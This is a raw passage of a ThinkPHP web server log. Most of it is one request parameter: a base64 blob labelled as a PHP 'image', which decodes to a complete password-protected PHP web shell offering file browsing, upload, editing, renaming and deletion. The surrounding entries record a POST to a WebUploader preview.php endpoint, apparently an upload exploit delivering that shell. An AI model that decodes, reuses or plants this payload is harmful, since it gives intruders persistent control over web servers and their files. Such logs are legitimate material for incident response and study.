'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'user' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:12+08:00 ] 116.213.36.234 POST 51tianwei.com/static/admin/webuploader/0.1.15/server/preview.php [运行时间:0.002600s] [吞吐率:384.62req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 